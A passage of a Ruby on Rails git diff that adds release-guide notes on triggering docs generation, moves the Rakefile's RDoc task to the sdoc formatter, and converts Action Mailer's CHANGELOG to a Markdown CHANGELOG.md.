+There are two simple steps for fixing the CI:
+
+1. Identify the problem
+2. Fix it
+
+Repeat these steps until the CI is green.
+
+=== Manually trigger docs generation
+
+We have a post-receive hook in GitHub that calls the docs server on pushes.
+It triggers generation and publication of edge docs, updates the contrib app,
+and generates and publishes stable docs if a new stable tag is detected.
+
+The hook unfortunately is not invoked by tag pushing, so once the new stable
+tag has been pushed to origin, please run
+
+ curl -X POST -d '' http://rails-hooks.hashref.com/rails-master-hook
+
+You should see something like this:
+
+ Rails master hook tasks scheduled:
+
+ * updates the local checkout
+ * updates Rails Contributors
+ * generates and publishes edge docs
+
+ If a new stable tag is detected it also
+
+ * generates and publishes stable docs
+
+ This needs typically a few minutes.
+
+Note you do not need to specify the tag, the docs server figures it out.
+
+Also, don't worry if you call that multiple times or the hook is triggered
+again by some immediate regular push, if the scripts are running new calls
+are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
index d18dac0dbd..e59abd5758 100755
--- a/Rakefile
+++ b/Rakefile
@@ -1,6 +1,7 @@
#!/usr/bin/env rake
require 'rdoc/task'
+require 'sdoc'
require 'net/http'
$:.unshift File.expand_path('..', __FILE__)
@@ -74,7 +75,11 @@ RDoc::Task.new do |rdoc|
# since no autolinking happens there and RDoc displays the backslash
# otherwise.
rdoc_main.gsub!(/^(?=\S).*?\b(?=Rails)\b/) { "#$&\\" }
- rdoc_main.gsub!(%r{link:blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html")
+ rdoc_main.gsub!(%r{link:/rails/rails/blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html")
+
+ # Remove Travis build status image from API pages. Only GitHub README page gets this image
+ # https build image is used to avoid GitHub caching: http://about.travis-ci.org/docs/user/status-images
+ rdoc_main.gsub!(%r{^== Travis.*}, '')
File.open(RDOC_MAIN, 'w') do |f|
f.write(rdoc_main)
@@ -86,28 +91,30 @@ RDoc::Task.new do |rdoc|
rdoc.rdoc_dir = 'doc/rdoc'
rdoc.title = "Ruby on Rails Documentation"
- rdoc.options << '-f' << 'horo'
+ rdoc.options << '-f' << 'sdoc'
+ rdoc.options << '-T' << 'rails'
rdoc.options << '-c' << 'utf-8'
+ rdoc.options << '-g' # SDoc flag, link methods to GitHub
rdoc.options << '-m' << RDOC_MAIN
- rdoc.rdoc_files.include('railties/CHANGELOG')
+ rdoc.rdoc_files.include('railties/CHANGELOG.md')
rdoc.rdoc_files.include('railties/MIT-LICENSE')
rdoc.rdoc_files.include('railties/README.rdoc')
rdoc.rdoc_files.include('railties/lib/**/*.rb')
rdoc.rdoc_files.exclude('railties/lib/rails/generators/**/templates/**/*.rb')
rdoc.rdoc_files.include('activerecord/README.rdoc')
- rdoc.rdoc_files.include('activerecord/CHANGELOG')
+ rdoc.rdoc_files.include('activerecord/CHANGELOG.md')
rdoc.rdoc_files.include('activerecord/lib/active_record/**/*.rb')
rdoc.rdoc_files.exclude('activerecord/lib/active_record/vendor/*')
rdoc.rdoc_files.include('activeresource/README.rdoc')
- rdoc.rdoc_files.include('activeresource/CHANGELOG')
+ rdoc.rdoc_files.include('activeresource/CHANGELOG.md')
rdoc.rdoc_files.include('activeresource/lib/active_resource.rb')
rdoc.rdoc_files.include('activeresource/lib/active_resource/*')
rdoc.rdoc_files.include('actionpack/README.rdoc')
- rdoc.rdoc_files.include('actionpack/CHANGELOG')
+ rdoc.rdoc_files.include('actionpack/CHANGELOG.md')
rdoc.rdoc_files.include('actionpack/lib/abstract_controller/**/*.rb')
rdoc.rdoc_files.include('actionpack/lib/action_controller/**/*.rb')
rdoc.rdoc_files.include('actionpack/lib/action_dispatch/**/*.rb')
@@ -115,18 +122,18 @@ RDoc::Task.new do |rdoc|
rdoc.rdoc_files.exclude('actionpack/lib/action_controller/vendor/*')
rdoc.rdoc_files.include('actionmailer/README.rdoc')
- rdoc.rdoc_files.include('actionmailer/CHANGELOG')
+ rdoc.rdoc_files.include('actionmailer/CHANGELOG.md')
rdoc.rdoc_files.include('actionmailer/lib/action_mailer/base.rb')
rdoc.rdoc_files.include('actionmailer/lib/action_mailer/mail_helper.rb')
rdoc.rdoc_files.exclude('actionmailer/lib/action_mailer/vendor/*')
rdoc.rdoc_files.include('activesupport/README.rdoc')
- rdoc.rdoc_files.include('activesupport/CHANGELOG')
+ rdoc.rdoc_files.include('activesupport/CHANGELOG.md')
rdoc.rdoc_files.include('activesupport/lib/active_support/**/*.rb')
rdoc.rdoc_files.exclude('activesupport/lib/active_support/vendor/*')
rdoc.rdoc_files.include('activemodel/README.rdoc')
- rdoc.rdoc_files.include('activemodel/CHANGELOG')
+ rdoc.rdoc_files.include('activemodel/CHANGELOG.md')
rdoc.rdoc_files.include('activemodel/lib/active_model/**/*.rb')
end
diff --git a/actionmailer/CHANGELOG b/actionmailer/CHANGELOG
deleted file mode 100644
index d4475bc951..0000000000
--- a/actionmailer/CHANGELOG
+++ /dev/null
@@ -1,449 +0,0 @@
-*Rails 3.1.0 (unreleased)*
-
-* No changes
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-* remove AM delegating register_observer and register_interceptor to Mail [Josh Kalderimis]
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* Don't allow i18n to change the minor version, version now set to ~> 0.5.0 [Santiago Pastorino]
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* No changes
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* subject is automatically looked up on I18n using mailer_name and action_name as scope as in t(".subject") [JK]
-
-* Changed encoding behaviour of mail, so updated tests in actionmailer and bumped mail version to 2.2.1 [ML]
-
-* Added ability to pass Proc objects to the defaults hash [ML]
-
-* Removed all quoting.rb type files from ActionMailer and put Mail 2.2.0 in instead [ML]
-
-* Lot of updates to various test cases that now work better with the new Mail and so have different expectations
-
-* Added interceptors and observers from Mail [ML]
-
- ActionMailer::Base.register_interceptor calls Mail.register_interceptor
- ActionMailer::Base.register_observer calls Mail.register_observer
-
-* Mail::Part now no longer has nil as a default charset, it is always set to something, and defaults to UTF-8
-
-* Added explict setting of charset in set_fields! method to make sure Mail has the user defined default
-
-* Removed quoting.rb and refactored for Mail to take responsibility of all quoting and auto encoding requirements for the header.
-
-* Fixed several tests which had incorrect encoding.
-
-* Changed all utf-8 to UTF-8 for consistency
-
-* Whole new API added with tests. See base.rb for full details. Old API is deprecated.
-
-* The Mail::Message class has helped methods for all the field types that return 'common' defaults for the common use case, so to get the subject, mail.subject will give you a string, mail.date will give you a DateTime object, mail.from will give you an array of address specs (mikel@test.lindsaar.net) etc. If you want to access the field object itself, call mail[:field_name] which will return the field object you want, which you can then chain, like mail[:from].formatted
-
-* Mail#content_type now returns the content_type field as a string. If you want the mime type of a mail, then you call Mail#mime_type (eg, text/plain), if you want the parameters of the content type field, you call Mail#content_type_parameters which gives you a hash, eg {'format' => 'flowed', 'charset' => 'utf-8'}
-
-* ActionMailer::Base :default_implicit_parts_order now is in the sequence of the order you want, no reversing of ordering takes place. The default order now is text/plain, then text/enriched, then text/html and then any other part that is not one of these three.
-
-* Mail does not have "quoted_body", "quoted_subject" etc. All of these are accessed via body.encoded, subject.encoded etc
-
-* Every object in a Mail object returns an object, never a string. So Mail.body returns a Mail::Body class object, need to call #encoded or #decoded to get the string you want.
-* Mail::Message#set_content_type does not exist, it is simply Mail::Message#content_type
-
-* Every mail message gets a unique message_id unless you specify one, had to change all the tests that check for equality with expected.encoded == actual.encoded to first replace their message_ids with control values
-
-* Mail now has a proper concept of parts, remove the ActionMailer::Part and ActionMailer::PartContainer classes
-
-* Calling #encoded on any object returns it as a string ready to go into the output stream of an email, this means it includes the \r\n at the end of the lines and the object is pre-wrapped with \r\n\t if it is a header field. Also, the "encoded" value includes the field name if it is a header field.
-
-* Attachments are only the actual attachment, with filename etc. A part contains an attachment. The part has the content_type etc. So attachments.last.content_type is invalid. But parts.last.content_type
-
-* There is no idea of a "sub_head" in Mail. A part is just a Message with some extra functionality, so it just has a "header" like a normal mail message
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones]
-
-* Fixed RFC-2045 quoted-printable bug #1421 [squadette]
-
-* Fixed that no body charset would be set when there are attachments present #740 [Paweł Kondzior]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 [Grant Hollingworth]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Add layout functionality to mailers [Pratik Naik]
-
- Mailer layouts behaves just like controller layouts, except layout names need to
- have '_mailer' postfix for them to be automatically picked up.
-
-
-*2.1.0 (May 31st, 2008)*
-
-* Fixed that a return-path header would be ignored #7572 [joost]
-
-* Less verbose mail logging: just recipients for :info log level; the whole email for :debug only. #8000 [iaddict, Tarmo Tänav]
-
-* Updated TMail to version 1.2.1 [Mikel Lindsaar]
-
-* Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 [jamesgolick]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Included in Rails 2.0.2
-
-
-*2.0.1* (December 7th, 2007)
-
-* Update ActionMailer so it treats ActionView the same way that ActionController does. Closes #10244 [Rick Olson]
-
- * Pass the template_root as an array as ActionView's view_path
- * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}"
-
-* Fixed that partials would be broken when using text.plain.erb as the extension #10130 [java]
-
-* Update README to use new smtp settings configuration API. Closes #10060 [psq]
-
-* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [Zach Dennis]
-
-* Update TMail to v1.1.0. Use an updated version of TMail if available. [Mikel Lindsaar]
-
-* Introduce a new base test class for testing Mailers. ActionMailer::TestCase [Michael Koziarski]
-
-* Fix silent failure of rxml templates. #9879 [jstewart]
-
-* Fix attachment decoding when using the TMail C extension. #7861 [orangechicken]
-
-* Increase mail delivery test coverage. #8692 [Kamal Fariz Mahyuddin]
-
-* Register alternative template engines using ActionMailer::Base.register_template_extension('haml'). #7534 [cwd, Josh Peek]
-
-* Only load ActionController::UrlWriter if ActionController is present [Rick Olson]
-
-* Make sure parsed emails recognized attachments nested inside multipart parts. #6714 [Jamis Buck]
-
-* Allow mailer actions named send by using __send__ internally. #6467 [iGEL]
-
-* Add assert_emails and assert_no_emails to test the number of emails delivered. #6479 [Jonathan Viney]
- # Assert total number of emails delivered:
- assert_emails 0
- ContactMailer.deliver_contact
- assert_emails 1
-
- # Assert number of emails delivered within a block:
- assert_emails 1 do
- post :signup, :name => 'Jonathan'
- end
-
-
-*1.3.3* (March 12th, 2007)
-
-* Depend on Action Pack 1.13.3
-
-
-*1.3.2* (February 5th, 2007)
-
-* Deprecate server_settings renaming it to smtp_settings, add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Michael Koziarski]
-
-
-*1.3.1* (January 16th, 2007)
-
-* Depend on Action Pack 1.13.1
-
-
-*1.3.0* (January 16th, 2007)
-
-* Make mime version default to 1.0. closes #2323 [ror@andreas-s.net]
-
-* Make sure quoted-printable text is decoded correctly when only portions of the text are encoded. closes #3154. [jon@siliconcircus.com]
-
-* Make sure DOS newlines in quoted-printable text are normalized to unix newlines before unquoting. closes #4166 and #4452. [Jamis Buck]
-
-* Fixed that iconv decoding should catch InvalidEncoding #3153 [jon@siliconcircus.com]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [David Heinemeier Hansson]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Mailer template root applies to a class and its subclasses rather than acting globally. #5555 [somekool@gmail.com]
-
-* Resolve action naming collision. #5520 [ssinghi@kreeti.com]
-
-* ActionMailer::Base documentation rewrite. Closes #4991 [Kevin Clark, Marcel Molina Jr.]
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Correct spurious documentation example code which results in a SyntaxError. [Marcel Molina Jr.]
-
-
-*1.2.1* (April 6th, 2006)
-
-* Be part of Rails 1.1.1
-
-
-*1.2.0* (March 27th, 2006)
-
-* Nil charset caused subject line to be improperly quoted in implicitly multipart messages #2662 [ehalvorsen+rails@runbox.com]
-
-* Parse content-type apart before using it so that sub-parts of the header can be set correctly #2918 [Jamis Buck]
-
-* Make custom headers work in subparts #4034 [elan@bluemandrill.com]
-
-* Template paths with dot chars in them no longer mess up implicit template selection for multipart messages #3332 [Chad Fowler]
-
-* Make sure anything with content-disposition of "attachment" is passed to the attachment presenter when parsing an email body [Jamis Buck]
-
-* Make sure TMail#attachments includes anything with content-disposition of "attachment", regardless of content-type [Jamis Buck]
-
-
-*1.1.5* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-
-*1.1.4* (December 7th, 2005)
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Stricter matching for implicitly multipart filenames excludes files ending in unsupported extensions (such as foo.rhtml.bak) and without a two-part content type (such as foo.text.rhtml or foo.text.really.plain.rhtml). #2398 [Dave Burt <dave@burt.id.au>, Jeremy Kemper]
-
-
-*1.1.3* (November 7th, 2005)
-
-* Allow Mailers to have custom initialize methods that set default instance variables for all mail actions #2563 [mrj@bigpond.net.au]
-
-
-*1.1.2* (October 26th, 2005)
-
-* Upgraded to Action Pack 1.10.2
-
-
-*1.1.1* (October 19th, 2005)
-
-* Upgraded to Action Pack 1.10.1
-
-
-*1.1.0* (October 16th, 2005)
-
-* Update and extend documentation (rdoc)
-
-* Minero Aoki made TMail available to Rails/ActionMailer under the MIT license (instead of LGPL) [RubyConf '05]
-
-* Austin Ziegler made Text::Simple available to Rails/ActionMailer under a MIT-like licens [See rails ML, subject "Text::Format Licence Exception" on Oct 15, 2005]
-
-* Fix vendor require paths to prevent files being required twice
-
-* Don't add charset to content-type header for a part that contains subparts (for AOL compatibility) #2013 [John Long]
-
-* Preserve underscores when unquoting message bodies #1930
-
-* Encode multibyte characters correctly #1894
-
-* Multipart messages specify a MIME-Version header automatically #2003 [John Long]
-
-* Add a unified render method to ActionMailer (delegates to ActionView::Base#render)
-
-* Move mailer initialization to a separate (overridable) method, so that subclasses may alter the various defaults #1727
-
-* Look at content-location header (if available) to determine filename of attachments #1670
-
-* ActionMailer::Base.deliver(email) had been accidentally removed, but was documented in the Rails book #1849
-
-* Fix problem with sendmail delivery where headers should be delimited by \n characters instead of \r\n, which confuses some mail readers #1742 [Kent Sibilev]
-
-
-*1.0.1* (11 July, 2005)
-
-* Bind to Action Pack 1.9.1
-
-
-*1.0.0* (6 July, 2005)
-
-* Avoid adding nil header values #1392
-
-* Better multipart support with implicit multipart/alternative and sorting of subparts [John Long]
-
-* Allow for nested parts in multipart mails #1570 [Flurin Egger]
-
-* Normalize line endings in outgoing mail bodies to "\n" #1536 [John Long]
-
-* Allow template to be explicitly specified #1448 [tuxie@dekadance.se]
-
-* Allow specific "multipart/xxx" content-type to be set on multipart messages #1412 [Flurin Egger]
-
-* Unquoted @ characters in headers are now accepted in spite of RFC 822 #1206
-
-* Helper support (borrowed from ActionPack)
-
-* Silently ignore Errno::EINVAL errors when converting text.
-
-* Don't cause an error when parsing an encoded attachment name #1340 [lon@speedymac.com]
-
-* Nested multipart message parts are correctly processed in TMail::Mail#body
-
-* BCC headers are removed when sending via SMTP #1402
-
-* Added 'content_type' accessor, to allow content type to be set on a per-message basis. content_type defaults to "text/plain".
-
-* Silently ignore Iconv::IllegalSequence errors when converting text #1341 [lon@speedymac.com]
-
-* Support attachments and multipart messages.
-
-* Added new accessors for the various mail properties.
-
-* Fix to only perform the charset conversion if a 'from' and a 'to' charset are given (make no assumptions about what the charset was) #1276 [Jamis Buck]
-
-* Fix attachments and content-type problems #1276 [Jamis Buck]
-
-* Fixed the TMail#body method to look at the content-transfer-encoding header and unquote the body according to the rules it specifies #1265 [Jamis Buck]
-
-* Added unquoting even if the iconv lib can't be loaded--in that case, only the charset conversion is skipped #1265 [Jamis Buck]
-
-* Added automatic decoding of base64 bodies #1214 [Jamis Buck]
-
-* Added that delivery errors are caught in a way so the mail is still returned whether the delivery was successful or not
-
-* Fixed that email address like "Jamis Buck, M.D." <wild.medicine@example.net> would cause the quoter to generate emails resulting in "bad address" errors from the mail server #1220 [Jamis Buck]
-
-
-*0.9.1* (20th April, 2005)
-
-* Depend on Action Pack 1.8.1
-
-
-*0.9.0* (19th April, 2005)
-
-* Added that deliver_* will now return the email that was sent
-
-* Added that quoting to UTF-8 only happens if the characters used are in that range #955 [Jamis Buck]
-
-* Fixed quoting for all address headers, not just to #955 [Jamis Buck]
-
-* Fixed unquoting of emails that doesn't have an explicit charset #1036 [wolfgang@stufenlos.net]
-
-
-*0.8.1* (27th March, 2005)
-
-* Fixed that if charset was found that the end of a mime part declaration TMail would throw an error #919 [lon@speedymac.com]
-
-* Fixed that TMail::Unquoter would fail to recognize quoting method if it was in lowercase #919 [lon@speedymac.com]
-
-* Fixed that TMail::Encoder would fail when it attempts to parse e-mail addresses which are encoded using something other than the messages encoding method #919 [lon@speedymac.com]
-
-* Added rescue for missing iconv library and throws warnings if subject/body is called on a TMail object without it instead
-
-
-*0.8.0* (22th March, 2005)
-
-* Added framework support for processing incoming emails with an Action Mailer class. See example in README.
-
-
-*0.7.1* (7th March, 2005)
-
-* Bind to newest Action Pack (1.5.1)
-
-
-*0.7.0* (24th February, 2005)
-
-* Added support for charsets for both subject and body. The default charset is now UTF-8 #673 [Jamis Buck]. Examples:
-
- def iso_charset(recipient)
- @recipients = recipient
- @subject = "testing iso charsets"
- @from = "system@loudthinking.com"
- @body = "Nothing to see here."
- @charset = "iso-8859-1"
- end
-
- def unencoded_subject(recipient)
- @recipients = recipient
- @subject = "testing unencoded subject"
- @from = "system@loudthinking.com"
- @body = "Nothing to see here."
- @encode_subject = false
- @charset = "iso-8859-1"
- end
-
-
-*0.6.1* (January 18th, 2005)
-
-* Fixed sending of emails to use Tmail#from not the deprecated Tmail#from_address
-
-
-*0.6* (January 17th, 2005)
-
-* Fixed that bcc and cc should be settable through @bcc and @cc -- not just @headers["Bcc"] and @headers["Cc"] #453 [Eric Hodel]
-
-* Fixed Action Mailer to be "warnings safe" so you can run with ruby -w and not get framework warnings #453 [Eric Hodel]
-
-
-*0.5*
-
-* Added access to custom headers, like cc, bcc, and reply-to #268 [Andreas Schwarz]. Example:
-
- def post_notification(recipients, post)
- @recipients = recipients
- @from = post.author.email_address_with_name
- @headers["bcc"] = SYSTEM_ADMINISTRATOR_EMAIL
- @headers["reply-to"] = "notifications@example.com"
- @subject = "[#{post.account.name} #{post.title}]"
- @body["post"] = post
- end
-
-*0.4* (5)
-
-* Consolidated the server configuration options into Base#server_settings= and expanded that with controls for authentication and more [Marten]
- NOTE: This is an API change that could potentially break your application if you used the old application form. Please do change!
-
-* Added Base#deliveries as an accessor for an array of emails sent out through that ActionMailer class when using the :test delivery option. [Jeremy Kemper]
-
-* Added Base#perform_deliveries= which can be set to false to turn off the actual delivery of the email through smtp or sendmail.
- This is especially useful for functional testing that shouldn't send off real emails, but still trigger delivery_* methods.
-
-* Added option to specify delivery method with Base#delivery_method=. Default is :smtp and :sendmail is currently the only other option.
- Sendmail is assumed to be present at "/usr/sbin/sendmail" if that option is used. [Kent Sibilev]
-
-* Dropped "include TMail" as it added to much baggage into the default namespace (like Version) [Chad Fowler]
-
-
-*0.3*
-
-* First release
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
new file mode 100644
index 0000000000..57af4ee6a4
--- /dev/null
+++ b/actionmailer/CHANGELOG.md
@@ -0,0 +1,449 @@
+## Rails 3.1.0 (August 30, 2011) ##
+
+* No changes
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* remove AM delegating register_observer and register_interceptor to Mail *Josh Kalderimis*
+
+
+* Rails 3.0.6 (April 5, 2011)
+
+* Don't allow i18n to change the minor version, version now set to ~> 0.5.0 *Santiago Pastorino*
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* No changes
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* subject is automatically looked up on I18n using mailer_name and action_name as scope as in t(".subject") *JK*
+
+* Changed encoding behaviour of mail, so updated tests in actionmailer and bumped mail version to 2.2.1 *ML*
+
+* Added ability to pass Proc objects to the defaults hash *ML*
+
+* Removed all quoting.rb type files from ActionMailer and put Mail 2.2.0 in instead *ML*
+
+* Lot of updates to various test cases that now work better with the new Mail and so have different expectations
+
+* Added interceptors and observers from Mail *ML*
+
+ ActionMailer::Base.register_interceptor calls Mail.register_interceptor
+ ActionMailer::Base.register_observer calls Mail.register_observer
+
+* Mail::Part now no longer has nil as a default charset, it is always set to something, and defaults to UTF-8
+
+* Added explict setting of charset in set_fields! method to make sure Mail has the user defined default
+
+* Removed quoting.rb and refactored for Mail to take responsibility of all quoting and auto encoding requirements for the header.
+
+* Fixed several tests which had incorrect encoding.
+
+* Changed all utf-8 to UTF-8 for consistency
+
+* Whole new API added with tests. See base.rb for full details. Old API is deprecated.
+
+* The Mail::Message class has helped methods for all the field types that return 'common' defaults for the common use case, so to get the subject, mail.subject will give you a string, mail.date will give you a DateTime object, mail.from will give you an array of address specs (mikel@test.lindsaar.net) etc. If you want to access the field object itself, call mail[:field_name] which will return the field object you want, which you can then chain, like mail[:from].formatted
+
+* Mail#content_type now returns the content_type field as a string. If you want the mime type of a mail, then you call Mail#mime_type (eg, text/plain), if you want the parameters of the content type field, you call Mail#content_type_parameters which gives you a hash, eg {'format' => 'flowed', 'charset' => 'utf-8'}
+
+* ActionMailer::Base :default_implicit_parts_order now is in the sequence of the order you want, no reversing of ordering takes place. The default order now is text/plain, then text/enriched, then text/html and then any other part that is not one of these three.
+
+* Mail does not have "quoted_body", "quoted_subject" etc. All of these are accessed via body.encoded, subject.encoded etc
+
+* Every object in a Mail object returns an object, never a string. So Mail.body returns a Mail::Body class object, need to call #encoded or #decoded to get the string you want.
+* Mail::Message#set_content_type does not exist, it is simply Mail::Message#content_type
+
+* Every mail message gets a unique message_id unless you specify one, had to change all the tests that check for equality with expected.encoded == actual.encoded to first replace their message_ids with control values
+
+* Mail now has a proper concept of parts, remove the ActionMailer::Part and ActionMailer::PartContainer classes
+
+* Calling #encoded on any object returns it as a string ready to go into the output stream of an email, this means it includes the \r\n at the end of the lines and the object is pre-wrapped with \r\n\t if it is a header field. Also, the "encoded" value includes the field name if it is a header field.
+
+* Attachments are only the actual attachment, with filename etc. A part contains an attachment. The part has the content_type etc. So attachments.last.content_type is invalid. But parts.last.content_type
+
+* There is no idea of a "sub_head" in Mail. A part is just a Message with some extra functionality, so it just has a "header" like a normal mail message
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 *Matt Jones*
+
+* Fixed RFC-2045 quoted-printable bug #1421 *squadette*
+
+* Fixed that no body charset would be set when there are attachments present #740 *Paweł Kondzior*
+
+
+## 2.2.1 RC2 (November 14th, 2008) ##
+
+* Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 *Grant Hollingworth*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* Add layout functionality to mailers *Pratik Naik*
+
+ Mailer layouts behaves just like controller layouts, except layout names need to
+ have '_mailer' postfix for them to be automatically picked up.
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* Fixed that a return-path header would be ignored #7572 *joost*
+
+* Less verbose mail logging: just recipients for :info log level; the whole email for :debug only. #8000 *iaddict, Tarmo Tänav*
+
+* Updated TMail to version 1.2.1 *Mikel Lindsaar*
+
+* Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 *jamesgolick*
+
+
+## 2.0.2 (December 16th, 2007) ##
+
+* Included in Rails 2.0.2
+
+
+## 2.0.1 (December 7th, 2007) ##
+
+* Update ActionMailer so it treats ActionView the same way that ActionController does. Closes #10244 *Rick Olson*
+
+ * Pass the template_root as an array as ActionView's view_path
+ * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}"
+
+* Fixed that partials would be broken when using text.plain.erb as the extension #10130 *java*
+
+* Update README to use new smtp settings configuration API. Closes #10060 *psq*
+
+* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 *Zach Dennis*
+
+* Update TMail to v1.1.0. Use an updated version of TMail if available. *Mikel Lindsaar*
+
+* Introduce a new base test class for testing Mailers. ActionMailer::TestCase *Michael Koziarski*
+
+* Fix silent failure of rxml templates. #9879 *jstewart*
+
+* Fix attachment decoding when using the TMail C extension. #7861 *orangechicken*
+
+* Increase mail delivery test coverage. #8692 *Kamal Fariz Mahyuddin*
+
+* Register alternative template engines using ActionMailer::Base.register_template_extension('haml'). #7534 *cwd, Josh Peek*
+
+* Only load ActionController::UrlWriter if ActionController is present *Rick Olson*
+
+* Make sure parsed emails recognized attachments nested inside multipart parts. #6714 *Jamis Buck*
+
+* Allow mailer actions named send by using __send__ internally. #6467 *iGEL*
+
+* Add assert_emails and assert_no_emails to test the number of emails delivered. #6479 *Jonathan Viney*
+ # Assert total number of emails delivered:
+ assert_emails 0
+ ContactMailer.deliver_contact
+ assert_emails 1
+
+ # Assert number of emails delivered within a block:
+ assert_emails 1 do
+ post :signup, :name => 'Jonathan'
+ end
+
+
+## 1.3.3 (March 12th, 2007) ##
+
+* Depend on Action Pack 1.13.3
+
+
+## 1.3.2 (February 5th, 2007) ##
+
+* Deprecate server_settings renaming it to smtp_settings, add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. *Michael Koziarski*
+
+
+## 1.3.1 (January 16th, 2007) ##
+
+* Depend on Action Pack 1.13.1
+
+
+## 1.3.0 (January 16th, 2007) ##
+
+* Make mime version default to 1.0. closes #2323 *ror@andreas-s.net*
+
+* Make sure quoted-printable text is decoded correctly when only portions of the text are encoded. closes #3154. *jon@siliconcircus.com*
+
+* Make sure DOS newlines in quoted-printable text are normalized to unix newlines before unquoting. closes #4166 and #4452. *Jamis Buck*
+
+* Fixed that iconv decoding should catch InvalidEncoding #3153 *jon@siliconcircus.com*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. *David Heinemeier Hansson*
+
+* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
+
+* Mailer template root applies to a class and its subclasses rather than acting globally. #5555 *somekool@gmail.com*
+
+* Resolve action naming collision. #5520 *ssinghi@kreeti.com*
+
+* ActionMailer::Base documentation rewrite. Closes #4991 *Kevin Clark, Marcel Molina Jr.*
+
+* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Correct spurious documentation example code which results in a SyntaxError. *Marcel Molina Jr.*
+
+
+## 1.2.1 (April 6th, 2006) ##
+
+* Be part of Rails 1.1.1
+
+
+## 1.2.0 (March 27th, 2006) ##
+
+* Nil charset caused subject line to be improperly quoted in implicitly multipart messages #2662 *ehalvorsen+rails@runbox.com*
+
+* Parse content-type apart before using it so that sub-parts of the header can be set correctly #2918 *Jamis Buck*
+
+* Make custom headers work in subparts #4034 *elan@bluemandrill.com*
+
+* Template paths with dot chars in them no longer mess up implicit template selection for multipart messages #3332 *Chad Fowler*
+
+* Make sure anything with content-disposition of "attachment" is passed to the attachment presenter when parsing an email body *Jamis Buck*
+
+* Make sure TMail#attachments includes anything with content-disposition of "attachment", regardless of content-type *Jamis Buck*
+
+
+## 1.1.5 (December 13th, 2005) ##
+
+* Become part of Rails 1.0
+
+
+## 1.1.4 (December 7th, 2005) ##
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+* Stricter matching for implicitly multipart filenames excludes files ending in unsupported extensions (such as foo.rhtml.bak) and without a two-part content type (such as foo.text.rhtml or foo.text.really.plain.rhtml). #2398 *Dave Burt <dave@burt.id.au>, Jeremy Kemper*
+
+
+## 1.1.3 (November 7th, 2005) ##
+
+* Allow Mailers to have custom initialize methods that set default instance variables for all mail actions #2563 *mrj@bigpond.net.au*
+
+
+## 1.1.2 (October 26th, 2005) ##
+
+* Upgraded to Action Pack 1.10.2
+
+
+## 1.1.1 (October 19th, 2005) ##
+
+* Upgraded to Action Pack 1.10.1
+
+
+## 1.1.0 (October 16th, 2005) ##
+
+* Update and extend documentation (rdoc)
+
+* Minero Aoki made TMail available to Rails/ActionMailer under the MIT license (instead of LGPL) *RubyConf '05*
+
+* Austin Ziegler made Text::Simple available to Rails/ActionMailer under a MIT-like licens *See rails ML, subject "Text::Format Licence Exception" on Oct 15, 2005*
+
+* Fix vendor require paths to prevent files being required twice
+
+* Don't add charset to content-type header for a part that contains subparts (for AOL compatibility) #2013 *John Long*
+
+* Preserve underscores when unquoting message bodies #1930
+
+* Encode multibyte characters correctly #1894
+
+* Multipart messages specify a MIME-Version header automatically #2003 *John Long*
+
